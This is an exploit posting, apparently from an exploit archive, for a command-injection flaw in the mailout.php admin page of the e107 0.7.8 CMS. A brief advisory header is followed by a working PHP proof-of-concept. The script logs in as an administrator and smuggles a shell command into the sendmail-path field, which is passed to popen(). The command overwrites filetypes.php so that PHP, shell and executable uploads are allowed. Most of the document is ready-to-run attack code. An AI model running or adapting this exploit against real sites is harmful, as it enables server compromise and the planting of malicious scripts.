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e107 0.7.8 (mailout.php) Access Escalation Exploit (admin needed)
================================================================= e107 0.7.8 (mailout.php) Access Escalation Exploit (admin needed) ================================================================= <?/* File: mailout.php Affects: E107 (v0.7.8) - mailout.php Date: 12th April 2007 Issue Description: =========================================================================== mailout.php provides an interface for the site administrator to send/configure and test email functionality in e107, the problem occurs because the user can directly change the $mailer parameter which is passed to a subsequent popen() call when sending a test email. this allows an attacker to run any command of their choosing on the system =========================================================================== Scope: =========================================================================== The scope of the attack is greatly limited by the fact a user would first need an administrator account on e107 to exploit the vulnerbility however in these circumstance full system access can be gained. =========================================================================== Recommendation: =========================================================================== No known solution at this time =========================================================================== Discovered By: Gammarays */?> <?php //E107 - (v0.7.8) Access Escalation Vulnerbility - PoC //Overwrites filetypes.php allowing the upload of dangerous filetypes echo "########################################################\n"; echo "# Special Greetings To - Timq,Warpboy,The-Maggot #\n"; echo "########################################################\n\n\n"; if($argc!=4) die("Usage <url> <user> <pass>\n\n\t Ex: http://www.example.com/e107/ usera passb\n"); $url = $argv[1]; $user = $argv[2]; $pass = $argv[3]; $ch = curl_init($url . "e107_admin/admin.php"); if(!$ch) die("Error Initializing CURL"); //Login curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.dat"); curl_setopt($ch, CURLOPT_POST,1); curl_setopt($ch, CURLOPT_POSTFIELDS,"authname=".$user."&authpass=".$pass."&authsubmit=Log+In"); $res = curl_exec($ch); if(!$res) die("Error Connecting To Target"); echo "[ ]Logging In...\n"; //Check Login Succeeded curl_setopt($ch, CURLOPT_HTTPGET, 1); curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.dat"); $res = curl_exec($ch); if(!$res) die("Error Connecting To Target"); $res = strstr($res,"administrator.php"); if(!$res) die("Error - Invalid Username Or Password"); echo "[ ]Login Suceeded!\n"; //Enable upload of everyones favourite filetypes $cmd = "echo php,php3,exe,gzip,pl,cgi,shtml,sh > filetypes.php"; curl_setopt($ch, CURLOPT_URL,$url . "/e107_admin/mailout.php?prefs"); curl_setopt($ch, CURLOPT_POST,1); curl_setopt($ch, CURLOPT_POSTFIELDS,"testaddress=none@nomail.net&mailer=sendmail&smtp_server=&smtp_username=&smtp_password=&sendmail=".$cmd."&mail_pause=3&mail_pausetime=4&mail_bounce_email=&mail_bounce_pop3=&mail_bounce_user=&mail_bounce_pass=&updateprefs=Save+Changes"); $res = curl_exec($ch); curl_setopt($ch, CURLOPT_POSTFIELDS,"testemail=Click+to+send+email+to&testaddress=none@nomail.net&mailer=sendmail&smtp_server=&smtp_username=&smtp_password=&mail_pause=3&mail_pausetime=4&mail_bounce_email=&mail_bounce_pop3=&mail_bounce_user=&mail_bounce_pass="); $res = curl_exec($ch); echo "[ ]Upload Of Executable Scripts Enabled\n"; curl_close($ch); ?> # 0day.today [2024-10-06] #